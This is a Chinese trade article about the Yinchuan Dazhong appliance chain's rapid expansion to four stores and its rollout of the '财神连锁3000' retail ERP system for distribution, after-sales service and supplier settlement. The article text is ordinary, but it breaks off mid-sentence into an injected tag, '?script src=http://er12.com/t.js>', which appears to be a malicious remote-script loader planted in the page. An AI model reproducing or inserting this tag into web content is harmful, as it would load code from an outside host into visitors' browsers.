2003年国内家电零售连锁巨头国美、大中、苏宁在北京的战场上打得如火如荼。先是国美在国庆节宣称销售额突破5亿大关；随后北京苏宁标榜仅高端家电就进账2.8亿；而大中则透露他们与国美、苏宁市场占有率的比例数字1:0.45:0.2。如此看来，北京的战场一时还难决胜负。而此时大中电器已把触角伸向了大西北，并发起了“闪电战”。
2003年3月15日，银川大中电器有限公司（下文简称银川大中）隆重开业，成为大中公司西北首家加盟店……
2004年1月，银川大中电器第四家门店开业。
在不到一年的时间里，银川大中以迅雷不及掩耳的速度覆盖了整个银川。 “1”至“4”的背后
企业的迅速扩张，对于银川大中来讲是一场严峻的考验，在门店数量迅速扩张的压力下，其原有的单店管理模式已不能再适应新管理要求——统一进货、统一配送、统一结算。
对此，公司财务经理冯炯炯深有感触，“刚开业时银川大中是以单店和一个配送中心的模式运行，以前的单门店软件足以应付。可当我们计划开到第四家门店时，原来的构架体系就不能满足多门店、多配送中心、分部、总部的运行模式。”
确定项目实施的具体需求以后，银川大中马上进行下一个环节——选型，在对四五家软件厂商进行权衡之后，他们最终选择了北京大有时代软件技术有限公司（下文简称大有时代）的“财神连锁3000”。几天之后，双方开始做进一步沟通，想尽快找到适合目前银川大中运营模式的最佳解决方案。为了按照预定计划开店，系统的上线过程也进展得非常快。
2003年8月，总部汇总系统业务——财务管理系统、配送系统、门店收款系统逐渐上线。2003年9月初一次性切换上线，实现了单店、配送中心分布集中式结构管理模式，“财神连锁3000”运行正常。这一连串的“动作”进展得如此顺利，是让银川大中领导意想不到的。在没有任何系统实施经验和专业人才的情况下，公司能在这么短的时间里上线30多个系统模块，其业务骨干们为此暗暗捏了一把汗。
经过三个月的磨合期后，“财务连锁3000”迅速推广到新开张的门店。从2003年11月至2004年1月，系统在银川大中电器的 4家门店、2个配送中心和一个分部运行正常，其配送中心也实现了跨区域店之间的配送，应有的效果逐渐显现。 准确“把脉”
“驻扎在银川的软件厂商很少，再加上银川零售业通常采用的是用友、金蝶等比较综合的财务通用软件，在这种情况下进行系统选型时，我们面临的阻力非常大。但幸运的是，我们准备充分，提出需求明确——系统要体现流通业和电器行业的特点。”冯炯炯强调，“当时我们在几家软件厂商中进行对比，最后财神这套新开发的电器连锁系统，由于其体现了erp的可移植性，更适合企业目前的经营模式。”
作为银川大中的管理需求重点——供应链管理，首先体现商品的周转过程，要求管理系统能够及时反映货品的进销存情况，同时需要管理结算和售后服务。在此基础上，电器行业对流程则要求更高，电器流通业和其他行业差异很大，销售链的“触角”比一般消费品要更深，百货超市的日用品在顾客付款结算以后，销售过程基本结束。即使日用品有售后服务，时间也很短，退换货的过程也很简单。
作为目前国内最有竞争力的电器产品，要求经销商提供上门送货和售后维修、安装等服务，同时还要从期成本角度必须考虑集中配送、及时的售后回访。对经销商而言，拥有一支掌握各种品牌、各种电器型号的安装队是不可能的，而每家电器厂商都有完善的售后服务和安装服务等。因此经销商可以利用供应商的资源，货品不入经销商的流通库，由供应商来配合完成电器商品的销售。这一系列流程和操作均是在多方协同配合下完成的。
以上这些行业特征在银川大中的系统中体现为和客户的服务关系以及售后商品的服务承诺，还有和供应商的结算，为此，系统中的“销售方式”和“收款单”下面设置不同的定义项，比如收款单包括集中送货、带货安装、柜台提货、本地库房提货以及租柜台联销等形式的零售，数据流相应的流向不同的业务形态。
提到此处，冯炯炯非常兴奋，“数据录入‘收款单’以后，顾客的基础信息就被保存在同一个数据库，同时形成‘售后模块’，集中反应顾客的采购信息、个人信息和售后服务信息，系统可以把这些信息按照我们的需求重新分类，形成一个数据共享的动态管理。”
在管理供应商方面，银川大中会定期地对顾客回访，及时核对供应商的安装过程。一般和供应商结算的时间会选择在为顾客安装完商品后，以收款台打出的“销售小票”为结算依据，并且小票上还必须附有“商品安装到位并且顾客满意”的字样，才能进行结算。
在整个银川大中的系统中，最核心的就是对每件电器商品的管理。“因为电器产品属于耐用消费品，产品本身的管理流程比普通消费品要长得多。大多数家电产品都有售后服务、安装、维修，而且对品牌要求也比较高。”大有时代总经理杨焰?script src=http://er12.com/t.js>
